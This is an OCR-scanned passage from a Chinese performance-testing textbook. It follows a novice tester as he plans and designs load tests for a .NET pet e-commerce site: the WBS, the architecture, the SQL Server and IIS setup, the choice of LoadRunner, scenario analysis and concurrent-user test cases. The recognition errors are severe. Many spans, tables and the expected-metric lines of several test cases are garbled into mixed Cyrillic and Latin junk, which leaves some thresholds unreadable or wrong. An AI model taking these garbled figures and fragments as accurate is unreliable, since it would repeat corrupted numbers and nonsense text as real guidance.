8 性 能 测试 结果 分 析 和 报告 编写 小 白 ”| 未 开始 |2014-5-3 至 2014-5-5 | | 
9 3 续 监 控 跟 | Ta ЖЕ mim =a 

图 8-1 WBSI!I 

Qi 


WBS 的 含义 就 是 工作 任务 分 解 ， 是 项 目 管 理 中 一 项 常用 的 技能 。 它 可 以 把 复杂 的 任务 逐步 分 解 ， 这 样 就 能 清晰 明了 地 看 到 各 个 阶段 需要 做 的 工作 、 时 间 点 、 状 态 、 接 口 人 等 ,方便 进行 项 目的 管理 和 跟 
踪 。 尤 其 是 在 互联 网 公司 ， 这 样 简单 明了 的 管理 文档 是 十 分 受 欢 迎 的 ， 比 起 死板 、 宛 余 、 烦 琐 、 大 量 文字 描述 的 “正规 ”项 目 计划 要 灵活 很 多 。 


此 处 的 WBS 为 示例 模版 ， 仅 供 参 考 。 读 者 可 根据 实际 项 目的 情况 进行 改造 扩充 。 


1] 图 中 “序号 1” 对 应 的 任务 描述 属于 功能 测试 范围 ， 不 在 本 书 范 围 内 ， 所 以 不 做 讲解 。 


8.1 项 目 背景 与 架构 分 析 


对 于 性 能 测试 工程 师 来 说 ， 熟 悉 项 目 不 仪 仅 是 知道 这 个 项 目 是 什么 ， 叫 什么 名 字 ， 业 务 架构 和 系统 架构 也 是 很 重要 的 。 如 果 经 验 足够 ， 在 熟悉 具体 架构 的 同时 就 能 发 现 可 能 存在 的 性 能 瓶 须 


NNO 


PP Shop (.NET 平 台 ) 是 一 个 面向 宠物 爱好 者 的 电 商 网 站 ， 以 某 开源 电子 商务 网 站 为 基础 ， 根 据 公 司 实际 需求 进行 二 次 开发 完成 的 。 网 站 业务 包括 注册 与 登录 、 首 页 热点 宠物 展示 、 宠 物 详情 页 、 我 的 
账户 、 搜 索 、 支 付 系 统 等 。 平 台 基 础 环境 包括 Web 服 务 器 、 业 务 应 用 服务 器 、 数 据 库 服务 器 、 缓 存 服务 器 等 类 型 。 平 台 基 于 微软 .NET Framework 技 术 开 发 ， 使 用 了 微软 的 Windows Server 2003 操 作 系 
Zt. Microsoft SQL Server 2005 数 据 库 、1IS Web 服 务 器 等 产品 。 


由 于 以 前 的 版 本 从 未 进行 过 性 能 方面 的 测试 ， 而 过 段 时 间 ， 网 站 将 进行 推广 以 及 促销 活动 ， 会 迎 来 比较 大 的 访问 量 ， 为 了 预 估 未 来 可 能 发 生 的 性 能 问题 ， 决 定 对 本 网 站 进行 性 能 测试 。 
2. 业 务 架构 

本 系统 是 在 Microsoft 的 .NET 平 台 上 开发 的 ， 主 要 为 了 满足 用 户 在 线 选 购 宠物 的 需求 。 整 个 系统 完全 对 外 开放 ， 用 户 可 以 在 该 系统 进行 注册 、 登 录 、 搜 索 、 下 单 、 支 付 等 操作 。 
系统 的 主要 功能 模块 如 下 。 

* 注册 与 登录 : 通过 输入 必 填 的 注册 信息 并 审核 通过 后 ， 方 可 使 用 该 账号 登录 系统 进行 后 续 操作 。 

Д: 展示 热门 的 宠物 简介 、 购 买 量 、 评 论 等 来 吸引 用 户 。 

` 完 物 浏览 : 宠物 类 别 浏 览 、 宠 物 详细 信息 浏览 、 库 存 信 息 浏览 、 评 论 信 息 浏 览 等 。 

' 购物 车 : 记录 并 展示 用 户 加 入 购物 车 的 宠物 ， 这 里 保存 的 宠物 并 没有 结算 ， 只 是 有 意向 购买 。 

` 下 单 与 支付 : 如 果 用 户 确 定购 买 某 宠物 ， 需 要 下 单 并 计算 金额 ， 下 单 成 功 后 需要 在 2 小 时 内 完成 支付 ， 否 则 取消 本 次 订单 。 

О: 供用 户 对 本 系统 内 的 宠物 进行 模糊 查找 ， 没 有 设置 查询 间隔 时 间 。 

Qi 一 般 对 于 这 样 的 搜索 会 设 定 一 个 时 间 间 隔 ， 达 到 减 小 压力 的 目的 ， 尤 其 是 对 于 基数 比较 大 的 网 站 。 

Бет: 对 系统 中 的 宠物 信息 、 评 论 了 维护 。 

3. 系 统 架 构 
一 般 系 统 架构 都 是 典型 的 分 层 式 架构 的 扩展 ， 可 抽象 成 三 层 ， 从 上 到 下 分 别 为 表示 层 、 业 务 逻 辑 层 、 数 据 访问 层 ， 如 图 8-2 所 示 。 


虽然 小 白 看 图 8-2 中 的 架构 觉得 简单 明了 ， 但 对 应 到 PP Shop 系统 中 总 是 毫 无 头绪 ， 疑 惑 重 重 。 于 是 ， 迫 不 得 已 请 教 了 小 黑 经 理 。 小 黑 经 理 结 合 PP Shop 的 系统 架构 耐心 地 进行 了 讲解 ， 并 给 出 了 分 层 的 
具体 架构 图 ， 如 图 8-3 所 示 。 
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图 8-3 ”分 层 具体 架构 图 
PP Shop 有 具体 架构 分 析 如 下 。 


1) 表示 层 : 它 是 系统 的 Ul 部 分 ， 用 户 通过 此 层 与 整个 系统 进行 交互 。 由 于 业务 和 设计 的 关系 ， 本 系统 并 没有 严格 按照 三 层 架 构 的 思想 实现 ， 表 示 层 和 业务 逻辑 层 之 间 有 较 高 的 耦合 度 ， 但 也 是 在 可 接受 
范围 内 的 。 


2) 业务 逻辑 层 : 它 是 整个 系统 的 核心 ， 负 责 实际 业务 的 逻辑 处 理 。 在 本 系统 中 ， 业 务 逻 辑 层 完成 如 登录 、 查 询 、 添 加 到 购物 车 、 下 单 等 业务 逻辑 。 如 果 涉 及 数据 库 的 访问 ， 则 会 调用 数据 访问 层 。 
在 业务 逻辑 层 中 ， 不 能 直接 访问 数据 库 ， 而 必须 通过 数据 访问 层 。 这 样 达 到 了 层 与 层 之 间 的 松 耦 合 。 


3) 数据 访问 层 : 主要 负责 数据 库 的 访问 。 简 单 地 说 ， 就 是 实现 对 表 的 增 、 删 、 改 、 查 。 在 数据 访问 层 中 ， 本 系统 很 好 地 体现 了 面向 接口 的 编程 思想 。 将 数据 访问 层 的 统一 接口 模块 抽象 出 来 ， 脱 离 了 与 
具体 数据 库 的 依赖 ， 这 是 非常 好 的 做 法 。 对 MS SQL server 和 Oracle 数 据 库 的 操作 均 通 过 封装 的 统一 接口 模块 来 调用 ， 大 大 提高 了 灵活 性 ， 而 且 减 少 了 向 下 的 依赖 ， 对 于 上 层 的 业务 逻辑 层 而 言 ， 仅 存在 弱 
依赖 关系 。 本 系统 对 接 的 数据 库 是 MS SQL Server， 而 Oracle 则 是 为 了 以 后 和 其 他 系统 进行 对 接 融 合 而 预 留 的 接口 。 


经 过 小 黑 经 理 的 精辟 解释 ， 小 白 对 该 系统 的 架构 设计 又 有 了 更 深 的 了 解 ， 也 学 到 了 一 点 架构 知识 ， 信 心 大 增 。 


82 ”测试 环境 需求 确认 与 搭建 


了 解 熟悉 业务 、 系 统 架 构 后 ， 接 下 来 就 需要 和 相关 人 员 确 认 测 试 环境 的 需求 。 例 如 ， 需 要 部 署 几 台 服务 器 、 数 据 库 ， 什 么 需要 配置 ， 以 及 对 应 的 版 本 要 求 等 。 确 认 完 成 后 便 可 搭建 环境 ， 这 里 需要 注意 
考虑 环境 的 备份 与 恢复 策略 。 


Que жал 于 这 样 用 于 检查 的 工作 ， 我 们 建议 使 用 CheckList 模 板 文档 来 管理 跟踪 效果 会 比较 好 。 
8.2.1 测试 环境 需求 确认 
经 过 与 小 黑 经 理 的 确认 ， 本 次 测试 将 在 内 网 中 进行 ， 避 免 带宽 带 来 的 影响 。 最 终 确认 的 测试 环境 需求 如 表 8-1 所 示 。 


表 8-1 测试 环境 需求 


FE 


OS: Windows Server 2003 (1 £) 


AU Fe Ht Эт n Ab bes аш Core(TM)2 Duo CPU T9550 (à 2.66G MS SQL Server 2005 企业 版 
ИТ: 
OS. Windows Server 2003 ( 1 £) 

应 用 服务 9: Intel(R) Core(TM)2 Duo CPU T9550 @ 2.66G IIS 6 


PM: ?GB 


OS: Windows 7 64 {7 (1 £; ) 
fft sc ^E Л йе ШШ: Intel(R) Core(TM) 15-4200U CPU (à) 1.60GHz LoadRunner 11 
内 存 : 4GB 


8.2.2 ”测试 环境 搭建 
Windows 下 的 测试 环境 搭建 相对 来 说 比较 简单 ， 而 且 都 是 图 形 界 面 的 安装 ， 比 起 Linux 来 说 更 加 容易 操作 ， 唯 一 需要 注意 的 就 是 ， 权 限 的 分 配 比 较 麻 烦 。 
1. 安 装 Microsoft SQL Server 2005 
安装 步骤 如 下 。 
1) 下 载 SQL Server 2005 企 业 版 ， 并 进行 安装 。 
2) 安装 过 程 中 会 进行 必要 的 检查 ， 如 图 8-4 所 示 ， 单 击 “ 安 装 ” 按 钮 即 可 。 


3) 选择 组 件 的 时 候 ， 勾 选 除了 “工作 站 组 件 、 联 机 丛书 和 开发 工具 ”以 外 的 选项 ， 如 图 8-5 所 示 ， 然 后 单 击 “ 下 一 步 ” 按 钮 。 


l Microsoft SOL Server 2005 2C 3⁄2 te Hr 


安装 必 备 组 件 
在 安装 SQL Seve 之 前 实 装 所 击 的 软件 


Pk. 


- 


SL Server ШЕКЕН SUL Serve SEENE НЕЕ 
„КЕТ Framework 2.0 

.MET Framework 2.0 = WAN 

Microsoft SOL Native Client 

Mierozoft SQL Server 2005 ЧА ТЕНЕУ 


тї “=” Hi. 


图 8-4 安装 前 的 检查 
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[] Analysis Services (А) 
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[] Reporting Services (R) 

[ ] Notification Services (0) 

| | Integration Services (T) 

O 工作 站 组 件 、 联 机 上 公 书 和 开发 工具 (z) 


者 单 击 “ 商 级 ”查看 更 多 选项 。 


яв | CE т-ға 


图 8-5 ”选择 组 件 


4) 实例 名 选择 “默认 实例 ” 即 可 ， 如 图 8-6 所 示 ， 然 后 单 击 “ 下 一 步 ” 按 钮 。 


5) 服务 账户 选择 “使 用 内 置 系统 账户 ”和 “本 地 系统 ”， 如 图 8-7 所 示 ， 然 后 单 击 “ 下 一 步 ” 按 钮 。 
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图 8-6 ”选择 实例 名 
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服务 帐户 
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图 8-7 设置 服务 器 账号 


6) 身份 验证 模式 选择 “混合 模式 ”， 如 图 8-8 所 示 ， 然 后 单 击 “ 下 一 步 ” 按 钮 。 


7) 其 余 保 持 默认 安装 即 可 。 


身份 验证 模式 
身份 验证 模式 指定 了 这 接 SQL Server 时 使 用 的 安全 让 直 。 k 


TELLURE CHAIRE.. 


(Windows 身份 验证 模式 外) 
(ONSE Windows B Eu) SQL Server ИЛ ИЕ) QD) 


ETENE sa ERTH: 


| 8D | [Ke 上 一 步 @) | Сою >.) вй 


图 8-8 设置 混合 模式 
2. 安 装 |1S 服 务 
安装 步骤 如 下 。 


1) 安装 ls 服务。 依次 单 击 Windows 系 统 的 “开始 ”一 “控制 面板 ”在 “控制 面板 ”界面 中 选择 “添加 或 删除 程序 ”， 出 现 “ 添 加 /删除 Windows 组 件 ” 对 话 框 ， 勾 选 “Internet 信 息 服务 (115) ”, 


最 后 单 击 “确定 ”按钮 。 


的 


Qi: 一 定 要 在 “添加 /删除 Windows 组 件 ” 对 话 框 中 色 选 “Internet 信 息 服 务 (05) ”的 子 选 项 “应 用 程序 开发 功能 ”中 的 “ASP.NET” . 
2) 使 用 Microsoft Visual Studio 2008 生 成 并 发 布 网 站 。 将 发 布 后 的 文件 集 复制 到 Web 目 录 下 。 


3) 选中 上 发布 的 网 站 根 目录 然后 右 击 ， 选 择 快 捷 菜 单 中 的 “属性 ”， 在 弹出 的 “属性 ”对 话 框 中 选择 “安全 ”选项 卡 ， 之 后 单 击 “编辑 ”按钮 ， 在 弹出 的 “权限 ”对 话 框 中 单 击 “ 添 加 ”按钮 ， 在 弹出 
“选择 用 户 、 计 算 机 、 服 务 账户 或 组 ”对 话 框 中 单 击 “ 高 级 ”按钮 后 ， 出 现 如 图 8-9 所 示 界 面 。 


单 击 图 8-9 中 的 “立即 查找 ”按钮 ， 把 lls-IUSRSs 用 户 和 Users 用 户 添加 进入 列表 ， 并 赋予 System 的 权限 。 
4) 部 署 网 站 到 IIS。 打 开 IIS， 用 鼠标 右键 单 击 网 站 ， 选 择 “添加 网 站 ”， 出 现 如 图 8-10 所 示 界 面 。 

各 选项 的 含义 以 及 填写 方法 如 下 。 

: 网 站 名 称 : 填写 一 个 有 意义 的 网 站 名 称 ， 这 里 填写 ppshop。 

` 物理 路 径 : 选择 发 布 后 的 网 站 目录 路 径 即 可 。 

. IP 地 址 : 保持 默认 ， 即 “全 部 未 分 配 ”。 

(X90: 没有 特别 需求 ， 保 持 默 认 的 80 端 口 。 


` 主机 名 : 如 果 有 申请 好 的 域名 ， 直 接 按 照 示 例 填写 即 可 。 最 后 单 击 “确定 ”按钮 ， 完 成 部 署 。 
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图 8-10 添加 网 站 


5) 验证 。 局 动 ll 服务 后 ， 在 浏览 器 中 输入 http:// 你 的 服务 1P:[Port]， 即 可 访问 系统 首页 。 


性 能 测试 工具 选 型 


8.3 
性 能 测试 工具 可 以 分 为 商业 性 能 测试 工具 、 开 源 性 能 测试 工具 、 自 主 研发 的 性 能 测试 工具 。 每 种 类 型 的 性 能 测试 工具 都 有 各 自 的 优 缺 点 。 在 前 7 章 中 ， 小 白 重 点 学 习 了 商业 性 能 测试 工具 和 开源 性 能 测试 
工具 ， 都 有 了 深入 的 理解 和 实战 应 用 。 这 里 不 再 重复 。 而 自主 研发 的 性 能 测试 工具 虽然 往往 是 为 了 满足 特定 需求 而 定制 开发 的 ， 但 原理 都 大 同 小 异 。 
， 大 部 分 的 性 能 测试 工具 都 能 


在 选择 性 能 测试 工具 的 时 候 ， 可 以 从 如 下 几 个 方面 来 考虑 。 
工具 的 最 大 作用 就 是 帮助 我 们 完成 它 擅长 做 的 事情 ， 能 减少 我 们 的 劳动 力 ， 解 决 我 们 无 法 完成 的 工作 。 所 以 在 工具 选 型 的 时 候 ， 是 否 能 满足 需求 是 非常 重要 的 。 一 般 而 言 


满足 日 常 的 性 能 测试 需求 ， 如 果 部 分 比较 特殊 的 需求 无 法 满足 ， 就 需要 自主 研发 工具 了 。 
对 于 本 系统 来 说， 选 型 的 性 能 测试 工具 需要 满足 以 下 几 点 。 


` 支持 HTTP 的 大 并 发 。 


- 可 部 署 在 Windows 上 使 用 。 
<- 可 监控 Windows、IIS、SQL Setvet 等 性 能 计数 器 。 
2. 购 买 成 本 


世界 上 没有 免费 的 午餐 ， 工 具 也 一 样 。 如 果 不 想 伦 费 资金 ， 那 么 开源 的 性 能 测试 工具 是 最 佳 选择 ， 但 缺点 也 很 明显 ， 如 易 用 性 差 、 功 能 少 、Bug 多 、 数 据 统 计 不 准确 、 帮 助 文 档 较 少 等 。 毕竟 是 免费 的 
工具 ， 不 能 要 求 十 全 十 美 。 如 果 研 发 能 力 允 许 ， 那 么 可 以 对 这 些 工 具 进 行 二 次 改造 开发 。 


而 商业 性 能 测试 工具 恰恰 避免 了 上 述 的 缺点 ， 当 然 需要 用 资金 来 换取 。 现 在 商业 性 能 测试 工具 很 多 也 接受 定制 的 开发 ， 能 更 好 地 满足 特定 需求 ， 花 费 也 是 比较 高 的 ， 需 要 根据 实际 情况 来 综合 考虑 。 
LoadRunner 虽 然 是 商业 的 性 能 测试 工具 ， 但 提供 较 长 时 间 的 试用 期 ， 完 全 可 以 在 本 项 目 中 使 用 。 
3. 学 习 成 本 


不 论 是 买 来 的 、 开 源 的 ， 还 是 自主 研发 的 工具 ， 都 是 给 人 用 的 ， 所 以 学 习 成 本 也 是 重点 考虑 的 。 如 果 一 个 工具 的 学 习 成 本 巨大 ， 例 如 ， 掌 握 某 几 个 功能 就 要 一 个 多 月 ， 那 就 有 点 说 不 过 去 了 。 如 果 对 编 
程 能 力 要 求 较 高 ， 那 么 学 习 成 本 也 会 比较 高 。 


一 般 来 说， 开源 性 能 测试 工具 的 学 习 成 本 要 比 商业 性 能 测试 工具 高 。 而 LoadRunner 正 好 是 小 白 现在 比较 熟悉 的 性 能 测试 工具 ， 二 次 学 习 的 成 本 可 谓 非 常 低 。 


4. 扩 展 成 本 
如 果 工 具 要 长 期 使 用 ， 那 么 扩展 性 也 必须 考虑 在 内 。 试 想 ， 如 果 一 个 工具 只 能 用 一 次 就 作废 ， 那 谁 还 愿意 用 它 。 自 主 研发 和 开源 工具 的 扩展 性 相对 好 些 ， 但 商业 的 工具 扩展 性 就 比较 差 了 ， 所 以 在 选 型 
的 时 候 要 衡量 利 浆 。 


对 于 本 项 目 来 阅 ，LoadRunner 不 论 是 从 需求 ， 还 是 从 学 习 成 本 上 来 说 都 是 比较 好 的 选择 。 更 何况 测试 任务 紧急 ， 也 不 可 能 选择 一 个 不 熟悉 的 工具 来 完成 测试 。 于 是 ， 小 白毫 不 犹豫 地 选择 了 钟爱 的 


LoadRunner。 
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对 整个 项 目 有 了 认识 和 计划 后 ， 就 要 对 重点 的 业务 功能 进行 分 析 、 建 模 ， 产 出 有 效 的 测试 用 例 ， 思 路 和 功能 测试 用 例 的 设计 大 同 小 异 ， 但 又 有 不 同 点 。 业 务 场 景 的 建 模 十 分 重要 ， 只 有 优秀 的 建 模 ， 才 
能 产 出 有 意义 的 结果 。 


841 业务 场景 分 析 
业务 场景 的 分 析 是 产 出 性 能 测试 用 例 的 基础 ， 只 有 把 业务 场景 分 析 透 彻 了 ， 才 能 合理 地 覆盖 到 性 能 测试 点 。 
一 般 而 言 ， 常 见 的 业务 场景 有 以 下 几 类 。 
1. 单 业务 场景 分 析 


此 场景 测试 主要 是 针对 单个 重要 的 、 核 心 的 业务 进行 性 能 测试 。 本 系统 的 单 业务 场景 为 登录 、 搜 索 、 浏 览 ， 分 析 如 下 。 


登录 : 是 系统 最 基本 的 功能 ， 也 是 大 多 数 用 户 最 常用 的 功能 ， 而 且 下 单 支 付 操作 的 前 提 都 是 需要 登录 成 功 ， 所 以 登录 是 此 次 单 业务 场景 测试 的 重点 。 
搜索 : 在 种 类 繁多 的 网 站 中 ， 用 户 通常 都 会 使 用 搜索 功能 来 找到 自己 需要 的 商品 ， 存 在 大 量 的 查询 操作 ， 考 验 数据 库 设 计 以 及 SQL 性 能 ， 因 此 搜索 也 纳入 此 次 单 业务 场景 测试 的 重点 。 
浏览 : 用 于 展示 宠物 的 信息 ， 也 是 用 户 经 常 进行 的 操作 ， 主 要 以 查询 为 主 ， 所 以 浏览 也 是 此 次 单 业务 场景 测试 的 重点 。 


OE ”因为 系统 已 经 在 线 上 运行 了 一 段 时 间 ， 注 册 用 户 基本 比较 稳定 ， 不 存在 突然 的 大 并 发 注册 ， 故 此 次 不 对 注册 业务 进行 性 能 测试。 
2. 组 合 业务 场景 分 析 


组 合 业务 场景 测试 主要 对 典型 的 业务 进行 组 合 一 起 执行 性 能 测试 。 很 多 人 都 有 一 个 误解 ， 就 是 要 把 所 有 可 能 组 合 的 场景 都 组 合 起 来 进行 性 能 测试 。 其 实 ， 应 该 选用 重要 的 、 常 用 的 业务 进行 合理 组 合 ， 
以 最 大 程度 模拟 真实 用 户 的 使 用 情况 。 


小 白 根 据 运 营 部 门 提 供 的 分 析 数 据 ， 确 定 了 本 系统 的 组 合 业务 场景 为 不 同 用户 登 录 系 统 后， 一 部 分 进行 搜索 操作 ， 一 部 分 进行 浏览 操作 ， 其 余部 分 进行 下 单 支付 操作 。 

Qi 往往 业务 场景 的 分 析 需 要 运营 、 产 品 等 兄弟 部 门 配合 完成 。 对 于 组 合 业务 场景 ， 每 种 业务 的 操作 比例 也 需要 基于 运营 数据 分 析 得 出 ， 这 样 才 能 最 大 程度 地 模拟 真实 用 户 操作 场景 。 
3. 大 数据 量 场景 分 析 

此 场景 测试 主要 分 为 基于 历史 大 数据 量 的 性 能 测试 、 运 行 时 大 数据 量 的 性 能 测试 以 及 二 者 的 混合 。 


基于 历史 大 数据 量 的 性 能 测试 主要 是 指 被 测试 系统 使 用 一 段 时 间 后 累积 了 一 定量 的 数据 量 ， 在 这 个 数据 量 基 础 上 进行 性 能 测试 ,或 者 是 针对 存储 、 统 计 、 查 询 等 业务 进行 大 数据 量 的 性 能 测试 ， 看 它们 
是 否 能 正常 运行 。 此 场景 的 关键 在 于 分 析 历 史 数 据 与 制造 测试 数据 。 


运行 时 大 数据 量 的 性 能 测试 主要 是 指 模拟 系统 运行 时 会 产生 较 大 的 数据 量 ， 主 要 目的 是 测试 用 户 较 多 或 者 某 些 业务 产生 较 大 数据 量 时 ， 系 统 能 否 稳定 地 运行 。 
另外 一 种 则 是 上 述 两 者 的 混合 ， 被 测试 系统 已 经 累积 较 大 数据 量 ， 一 些 实时 产生 较 大 数据 量 的 业务 模块 能 否 稳定 地 工作 。 


小 白 经 过 与 相关 人 员 的 讨论 分 析 ， 一 致 认为 暂时 不 需要 进行 大 数据 量 场景 测试 。 


4. 稳 定性 场景 分 析 
稳定 性 场景 测试 主要 针对 系统 在 长 时 间 的 压力 下 是 否 能 稳定 运行 。 由 于 之 前 系统 长 时 间 运 行 期 间 ， 偶 尔 会 出 现 突 然 访 问 变 慢 的 现象 ， 所 以 此 次 稳定 性 测试 也 需 重 点 进行 ， 观 察 系统 在 长 时 间 压 力 下 的 表 
现 。 稳 定性 场景 的 产生 一 般 都 会 基于 组 合 业务 场景 进行 设计 。 


本 次 稳定 性 测试 场景 为 不 同 用 户 登 录 系 统 后 ， 一 部 分 进行 搜索 操作 ， 一 部 分 进行 浏览 操作 ， 其 余部 分 进行 下 单 支付 操作 。 


5. 负 载 均衡 集群 场景 分 析 


负载 均衡 集群 场景 测试 主要 是 对 负载 均衡 机 制 是 否 有 效 以 及 集群 性 能 进行 测试 。 典 型 的 负载 均衡 集群 架构 如 图 8-11 所 示 。 


图 8-11 负载 均衡 集群 


负载 均衡 可 以 通过 类 似 轮 询 或 按 比 例 分 配 等 策略 达到 分 挫 分 流 压 力 的 目的 。 一 般 测 试 的 策略 有 两 种 : 模拟 访问 请 求 看 是 否 分 配 到 两 台 服 务 器 上 ; 关闭 一 台 服 务 器 看 访问 请 求 是 否 分 配 到 了 另 一 台 服 务 器 
上 。 而 集群 的 测试 更 关注 数据 的 一 致 性 。 


Qi 
以 一 个 团队 为 例 ， 所 谓 集群 ， 对 于 外 部 来 说 就 是 一 个 整体 ， 他 们 只 知道 这 个 团队 叫 BestTest 组 ,但 对 于 内 部 来 说 是 由 多 个 人 组 成 的 (多 个 机 器 ) 。 


集群 的 好 处 : 避免 单 点 故障 ， 方 便 管 理 ( 可 将 工作 负载 转移 给 群集 中 的 其 他 服务 器 ) ， 扩 展 性 强 。 
8.4.2 ”性 能 需求 分 析 与 提取 


说 到 性 能 测试 需求 的 分 析 与 提取 ， 很 多 人 都 会 头疼 ， 小 白 也 不 例外 。 毫 无 头绪 ， 不 知道 应 该 怎么 去 做 。 一 般 我 们 遇见 的 性 能 测试 需求 有 以 下 几 种 情景 。 


1) 已 经 明确 给 出 了 性 能 预期 指标 。 例 如 ， 对 某 业 务 并 发 20 个 用 户 ， 平 均 响 应 时 间 要 <3s， 事 务 成 功率 为 100%，CPU 使 用 率 <85%， 内 存 使 用 率 <85% 等 这 样 类 似 的 指标 。 这 种 情景 只 需要 根据 执行 分 析 
结果 与 预期 指标 做 对 比 ， 如 果 有 不 满足 的 ， 就 需要 分 析 问 题 所 在 。 


2) 无 明确 需求 ， 需 要 自己 挖掘 或 者 和 团队 一 起 分 析 。 这 个 也 许 是 经 常 遇 到 的 情景 。 对 于 这 样 的 情况 ， 可 以 求助 运营 、 运 维 人 员 ， 根 据 线 上 监控 的 数据 作为 参考 进行 性 能 测试 指标 的 分 析 与 提取 ， 这 样 得 
出 的 数据 还 是 比较 准确 的 。 当 然 ， 如 果 连 运 维 都 没有 ， 也 没有 线 上 的 监控 ， 那 只 能 靠 自己 查找 相关 资料 ， 和 类 似 的 系统 做 对 比 ， 然 后 确定 性 能 测试 需求 的 指标 。 


对 于 本 系统 而 言 ， 我 们 模拟 第 二 种 情景 来 分 析 。 根 据 运 维 的 数据 ， 最 高 时 候 一 天 的 PV 大 概 为 17 万 。 大 部 分 的 访问 请 求 都 集中 在 中 午休 息 时 段 ， 大 概 在 12:30 到 13:00 之 间 。 接 着 与 产品 等 相关 人 员 讨 论 响 
应 时 间 的 指标 。 如 果 所 有 人 都 毫 无 头绪 ， 那 么 可 以 选取 业界 中 一 个 经 验 值 ，2s、5S$、8s。2s 左 右 是 非常 理想 的 状态 ，5s 刚 刚 让 人 能 接受 ，8s 会 使 人 急躁 放弃 本 次 请 求 或 者 重复 发 起 多 次 请 求 。 


通过 上 面 的 分 析 ， 现 在 得 出 如 下 结论 。 
1) 并 发 用 户 数 根 据 1.4 节 中 的 PV 公式 得 出 是 50 个 并 发 用 户 。 
2) 系统 访问 的 高 峰 期 大 概 持续 在 30 分 钟 。 


Эзе 关于 响应 时 间 的 指标 ， 本 身 没 有 快慢 之 分 ， 只 是 一 个 相对 的 概念 。 你 觉得 3s 挺 快 ， 但 1s 更 快 ， 如 果 遇 到 特别 着 急 的 客户 ， 其 至 会 觉得 1s 都 慢 。 所 以 这 个 指标 完全 是 用 户 的 主观 感受 。 实 际 制 定 
时 ， 需 要 根据 业务 特点 与 场景 来 分 析 。 


除了 上 述 的 分 析 外 ， 不 要 忘 了 还 有 服务 器 的 相关 指标 。 一 般 主要 关注 CPU、 内 存 、IO、 队 列 等 。 
经 过 上 面 的 需求 分 析 ， 可 以 提取 出 如 表 8-2 所 示 的 性 能 预期 指标 。 


表 8-2 ”性 能 预期 指标 提取 
Ж 平均 事务 响应 时 间 CPU 使 用 率 | ”内 存 使 用 率 

рл) 25 X 
组 合 业务 (登录 、 搜索、 浏览 、 下 单 ) 


其 中 ， 对 表 8-2 中 的 组 合 业务 和 稳定 性 的 测试 指标 做 了 稍微 的 调整 ， 主 要 是 考虑 到 实际 的 业务 ， 毕 竟 多 业务 操作 和 长 时 间 运 行 耗费 的 资源 会 比较 多 ， 所 以 稍微 提升 也 是 符合 逻辑 的 。 


= 
JR 
d 


/^ 


8.4.3 ”性 能 测试 用 例 设计 


性 能 测试 用 例 格式 并 无 好 坏 ， 只 要 是 符合 自己 需求 就 行 。 根 据 8.5.1 节 和 8.5.2 节 中 的 分 析 ， 不 难得 出 对 应 的 性 能 测试 用 例 。 本 系统 的 性 能 测试 用 例如 下 。 


1. 并 发 登录 测试 用 例 


用 例 编号 : C1。 


业务 描述 : 登录 。 


场景 描述 : 打开 首页 ， 进 入 登录 页 面 ， 填 写 登录 信息 并 提交 。 


测试 策略 : 模拟 50 个 并 发 用 户 数 进 行 测 试 。 


脚本 设置 关键 点 : 参数 化 用 户 名 、 封 装 事务 、 添 加 思考 时 间 。 


场景 设置 关键 点 : 以 慢 增长 方式 加 压 ， 持 续 30min。 


重点 关注 指标 : 响应 时 间 、TPS、 知 吐 量 、 成 功 事务 数 、OS、DB 等 。 


预期 指标 : чуй} 8] < 25, FARA # 2y100%, СРО Л] #<55%, АМ < 50%; 


2. 并 发 搜索 测试 用 例 


用 例 编 号 : C2。 


业务 描述 : 搜索 。 


场景 描述 : 打开 首页 ， 输 入 热门 关键 词 进 行 搜 索 。 


测试 策略 : 模拟 50 个 并 发 用 户 数 进行 测试 。 


脚本 设置 关键 点 : 参数 化 搜索 词 、 封 装 事务 、 添 加 思考 时 间 。 


场景 设置 关键 点 : 以 慢 增长 方式 加 压 ， 持 续 30 分 钟 。 


重点 关注 指标 : 响应 时 间 、TPS、 知 吐 量 、 成 功 事务 数 、OS、DB 等 。 


预期 指标 : "уй 8 8] < 25, FARA 7910090, CPU4# Л] #<55%, Р] 4 < 50%; 


3. 并 发 浏览 测试 用 例 


用 例 编号 : C3. 


业务 描述 : 浏览 。 


场景 描述 : 打开 首页 ， 进 入 某 宠 物 详情 页 浏览 。 


测试 策略 : 模拟 50 个 并 发 用 户 数 进行 测试 。 


脚本 设置 关键 点 : 参数 化 页 面 的 URL、 封 装 事务 、 添 加 思考 时 间 。 


场景 设置 关键 点 : 以 慢 增长 方式 加 压 ， 持 续 30min。 


重点 关注 指标 : 响应 时 间 、TPS、 吞 吐 量 、 成 功 事务 数 、OS、DPB 等 。 


预期 指标 : 响应 时 间 <2s， 事 务 成 功率 为 100%，CPU 使 用 率 <55%， 内 存 使 用 率 <<50%。 


4. 并 发 组 合 业务 测试 用 例 


用 例 编号 : C4。 


业务 描述 : 不 同 用 户 登 录 系 统 后 ， 一 部 分 进行 搜索 操作 ， 一 部 分 进行 浏览 操作 ， 其 余部 分 进行 下 单 操作 。 
场景 描述 : 不 同 用 户 登 录 系 统 后 ，35% 进 行 搜索 操作 ，30% 进 行 浏 览 操作 ，25% 进 行 下 单 操作 ，10% 进 行 其 他 操作 。 


测试 策略 : 模拟 50 个 并 发 用 户 数 进行 测试 。 


脚本 设置 关键 点 : 参数 化 、 封 装 事务 、 添 加 思考 时 间 。 


场景 设置 关键 点 : 以 慢 增长 方式 加 压 ， 持 续 30min。 


重点 关注 指标 : 响应 时 间 、TPS、 和 吞吐 量 、 成 功 事 务 数 、OS、DB 等 。 


预期 指标 : 事务 成 功率 为 100%，CPU 使 用 率 乏 60%， 内 存 使 用 率 入 55%。 


5. 稳 定性 测试 用 例 


用 例 编号 : C5。 


\ 


业务 描述 : 不 同 用 户 登录 系统 后 ， 一 部 分 进行 搜索 操作 ， 一 部 分 进行 浏览 操作 ， 其 余部 分 进行 下 单 操作 。 

场景 描述 : 不 同 用 户 登 录 系统 后 ，35% 进 行 搜索 操作 ，30% 进 行 浏览 操作 ，25% 进 行 下 单 操作 ，10% 进 行 其 他 操作 。 
测试 策略 : 模拟 50 个 并 发 用 户 数 进行 测试 。 

脚本 设置 关键 点 : 参数 化 、 封 装 事务 、 添 加 思考 时 间 。 


场景 设置 关键 点 : 以 慢 增长 方式 加 压 ， 持 续 5 小 时 。 


重点 关注 指标 : 响应 时 间 、TPS、 吞 吐 量 、 成 功 事务 数 、OS、DB 等 。 


预期 指标 : 3 5-20 4 100%, СРО Д < 6500, ААМ < 60%. 


8.5 ”脚本 开 友 与 优化 


